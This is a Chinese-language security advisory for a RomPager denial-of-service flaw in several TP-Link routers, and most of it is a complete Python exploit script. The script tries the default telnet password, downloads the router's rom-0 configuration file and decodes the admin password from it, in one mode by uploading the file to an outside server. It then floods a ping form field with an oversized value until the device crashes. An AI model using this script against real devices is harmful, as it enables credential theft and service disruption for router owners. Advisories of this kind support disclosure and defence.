多个TP-Link路由器RomPager拒绝服务漏洞


发布日期:2014-06-10
更新日期:2014-06-17

受影响系统:
TP-LINK TD-8817 3.11.2.175_TC3086
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 68024
 
TP-Link是知名的网络与通信设备供应商。
 
TP-Link TD-W8901G, TD-W8101G, TD-8840G, TD-8817固件版本3.11.2.175_TC3086、T14.F7_5.0存在远程拒绝服务漏洞,攻击者可利用此漏洞造成受影响设备崩溃。
 
<*来源:Osanda Malith
  *>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
import os
 import re
 import sys
 import time
 import urllib
 import base64
 import httplib
 import urllib2
 import requests
 import optparse
 import telnetlib
 import subprocess
 import collections
 import unicodedata

 class BitReader:
 
    def __init__(self, bytes):
        self._bits = collections.deque()
       
        for byte in bytes:
            byte = ord(byte)
            for n in xrange(8):
                self._bits.append(bool((byte >> (7-n)) & 1))
           
    def getBit(self):
        return self._bits.popleft()
       
    def getBits(self, num):
        res = 0
        for i in xrange(num):
            res += self.getBit() << num-1-i
        return res
       
    def getByte(self):
        return self.getBits(8)
       
    def __len__(self):
        return len(self._bits)
       
 class RingList:
 
    def __init__(self, length):
        self.__data__ = collections.deque()
        self.__full__ = False
        self.__max__ = length

    def append(self, x):
        if self.__full__:
            self.__data__.popleft()
        self.__data__.append(x)
        if self.size() == self.__max__:
            self.__full__ = True

    def get(self):
        return self.__data__

    def size(self):
        return len(self.__data__)

    def maxsize(self):
        return self.__max__
       
    def __getitem__(self, n):
        if n >= self.size():
            return None
        return self.__data__[n]
 
def filter_non_printable(str):
  return ''.join([c for c in str if ord(c) > 31 or ord(c) == 9])
 

def banner():
  return '''
 
\t\t    _/_/_/                _/_/_/ 
\t\t  _/    _/    _/_/    _/         
 \t\t  _/    _/  _/    _/    _/_/     
\t\t _/    _/  _/    _/        _/     
 \t\t_/_/_/      _/_/    _/_/_/       
                         
'''                         
 def dos(host, password):
  while (1):
    url = 'http://' +host+ '/Forms/tools_test_1'
    parameters = {
    'Test_PVC'      :  'PVC0',
    'PingIPAddr'    :  '\101'*2000,
    'pingflag'      :  '1',
    'trace_open_flag'  :  '0',
    'InfoDisplay'    :  '+-+Info+-%0D%0A'
    }
   
    params = urllib.urlencode(parameters)
   
    req = urllib2.Request(url, params)
    base64string = base64.encodestring('%s:%s' % ('admin', password)).replace('\n', '')
    req.add_header("Authorization", "Basic %s" %base64string)
    req.add_header("Content-type", "application/x-www-form-urlencoded")
    req.add_header("Referer", "http://" +host+ "/maintenance/tools_test.htm")
    try:
        print '[~] Sending Payload' 
        response = urllib2.urlopen(req, timeout=1)
        sys.exit(0)
     
    except:
      flag = checkHost(host)
      if flag == 0:
        print '[+] The host is still up and running'
      else:
        print '[~] Success! The host is down'
        sys.exit(0)
        break
 
def checkHost(host):
  if sys.platform == 'win32':
    c = "ping -n 2 " + host
  else:
    c = "ping -c 2 " + host
 
  try:
    x = subprocess.check_call(c, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
    time.sleep(1)
    return x
   
  except:
    pass
 
def checkServer(host):
  connexion = httplib.HTTPConnection(host)
  connexion.request("GET", "/status.html")
  response = connexion.getresponse()
  server = response.getheader("server")
  connexion.close()
  time.sleep(2)
  if server == 'RomPager/4.07 UPnP/1.0':
    return 0
  else:
    return 1
 
def checkPassword(host):
  print '[+] Checking for default password'
  defaultpass = 'admin'
  tn = telnetlib.Telnet(host, 23, 4)
  tn.read_until("Password: ")
  tn.write(defaultpass + '\n')
  time.sleep(2)
  banner = tn.read_eager()
  banner = regex(len(defaultpass)*r'.'+'\w+' , banner)
  tn.write("exit\n")
  tn.close()
  time.sleep(4)
  if banner == 'Copyright':
    print '[+] Default password is being used'
    dos(host, defaultpass)
  else:
    print '[!] Default Password is not being used'
  while True:
    msg = str(raw_input('[?] Decrypt the rom-0 file locally? ')).lower()
    try:
      if msg[0] == 'y':
        password = decodePasswordLocal(host)
        print '[*] Router password is: ' +password
        dos(host, password)
        break             
      if msg[0] == 'n':
        password = decodePasswordRemote(host)
        print '[*] Router password is: ' +password
        dos(host, password)
        break
      else:
        print '[!] Enter a valid choice'
    except Exception, e:
        print e
        continue
   
 
def decodePasswordRemote(host):
  fname = 'rom-0'
  if os.path.isfile(fname) == True:
    os.remove(fname)
  urllib.urlretrieve ("http://"+host+"/rom-0", fname)
  # If this URL goes down you might have to find one and change this function.
  # You can also use the local decoder. It might have few errors in getting output.
  url = 'http://198.61.167.113/zynos/decoded.php'                # Target URL
  files = {'uploadedfile': open('rom-0', 'rb') }                # The rom-0 file we wanna upload
  data = {'MAX_FILE_SIZE': 1000000, 'submit': 'Upload rom-0'}    # Additional Parameters we need to include
  headers = { 'User-agent' : 'Python Demo Agent v1' }            # Any additional Headers you want to send or include
 
  res = requests.post(url, files=files, data=data, headers=headers, allow_redirects=True, timeout=30.0, verify=False )
  res1 =res.content
  p = re.search('rows=10>(.*)', res1)
  if p:
    passwd = found = p.group(1)
  else:
    password = 'NotFound'
  return passwd
 
def decodePasswordLocal(host):
  # Sometimes this might output a wrong password while finding the exact string.
  # print the result as mentioned below and manually find out
  fname = 'rom-0'
  if os.path.isfile(fname) == True:
    os.remove(fname)
  urllib.urlretrieve ("http://"+host+"/rom-0", fname)
  fpos=8568
  fend=8788
  fhandle=file('rom-0')
  fhandle.seek(fpos)
  chunk="*"
  amount=221
  while fpos < fend:
      if fend-fpos < amount:
          amount = amount
          data = fhandle.read(amount)
          fpos += len(data)
         
  reader = BitReader(data)
  result = ''
     
  window = RingList(2048)
     
  while True:
      bit = reader.getBit()
      if not bit:
          char = reader.getByte()
          result += chr(char)
          window.append(char)
      else:
          bit = reader.getBit()
          if bit:
              offset = reader.getBits(7)
              if offset == 0:
                  break
          else:
              offset = reader.getBits(11)
         
          lenField = reader.getBits(2)
          if lenField < 3:
              lenght = lenField + 2
          else:
              lenField <<= 2
              lenField += reader.getBits(2)
              if lenField < 15:
                  lenght = (lenField & 0x0f) + 5
              else:
                  lenCounter = 0
                  lenField = reader.getBits(4)
                  while lenField == 15:
                      lenField = reader.getBits(4)
                      lenCounter += 1
                  lenght = 15*lenCounter + 8 + lenField
         
          for i in xrange(lenght):
              char = window[-offset]
              result += chr(char)
              window.append(char)
 
  result = filter_non_printable(result).decode('unicode_escape').encode('ascii','ignore')
  # In case the password you see is wrong while filtering, manually print it from here and findout.
  #print result
  if 'TP-LINK' in result:
      result = ''.join(result.split()).split('TP-LINK', 1)[0] + 'TP-LINK';
      result = result.replace("TP-LINK", "")
      result = result[1:]
 
  if 'ZTE' in result:
      result = ''.join(result.split()).split('ZTE', 1)[0] + 'ZTE';
      result = result.replace("ZTE", "")
      result = result[1:]
 
  if 'tc160' in result:
      result = ''.join(result.split()).split('tc160', 1)[0] + 'tc160';
      result = result.replace("tc160", "")
      result = result[1:]
  return result
 
 def regex(path, text):
  match = re.search(path, text)
  if match:
    return match.group()
  else:
    return None
 
def main():
  if sys.platform == 'win32':
    os.system('cls')
  else:
    os.system('clear')
  try:
    print banner()
    print '''
 |=--------=[ ZTE and TP-Link RomPager Denial of Service Exploit ]=-------=|\n
 [*] Author: Osanda Malith Jayathissa
 [*] Follow @OsandaMalith
 [!] Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only.
 [!] Author takes no responsibility for any kind of damage you cause.
 
  '''
    parser = optparse.OptionParser("usage: %prog -i <IP Address> ")
    parser.add_option('-i', dest='host',
              type='string', 
              help='Specify the IP to attack')
    (options, args) = parser.parse_args()
   
    if options.host is None:
      parser.print_help()
      exit(-1)
 
    host = options.host
    x = checkHost(host)
 
    if x == 0:
      print '[+] The host is up and running'
      server = checkServer(host)
      if server == 0:
        checkPassword(host)
      else:
        print ('[!] Sorry the router is not running RomPager')
    else:
      print '[!] The host is not up and running'
      sys.exit(0)
 
  except KeyboardInterrupt:
    print '[!] Ctrl + C detected\n[!] Exiting'
    sys.exit(0)
  except EOFError:
    print '[!] Ctrl + D detected\n[!] Exiting'
    sys.exit(0)
 
if __name__ == "__main__":
    main() 
 #EOF

建议:
--------------------------------------------------------------------------------
厂商补丁:
 
TP-LINK
 -------
 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
 
http://www.tp-link.com/lk/products/details/?model=TD-8817

本文永久更新链接地址:

相关内容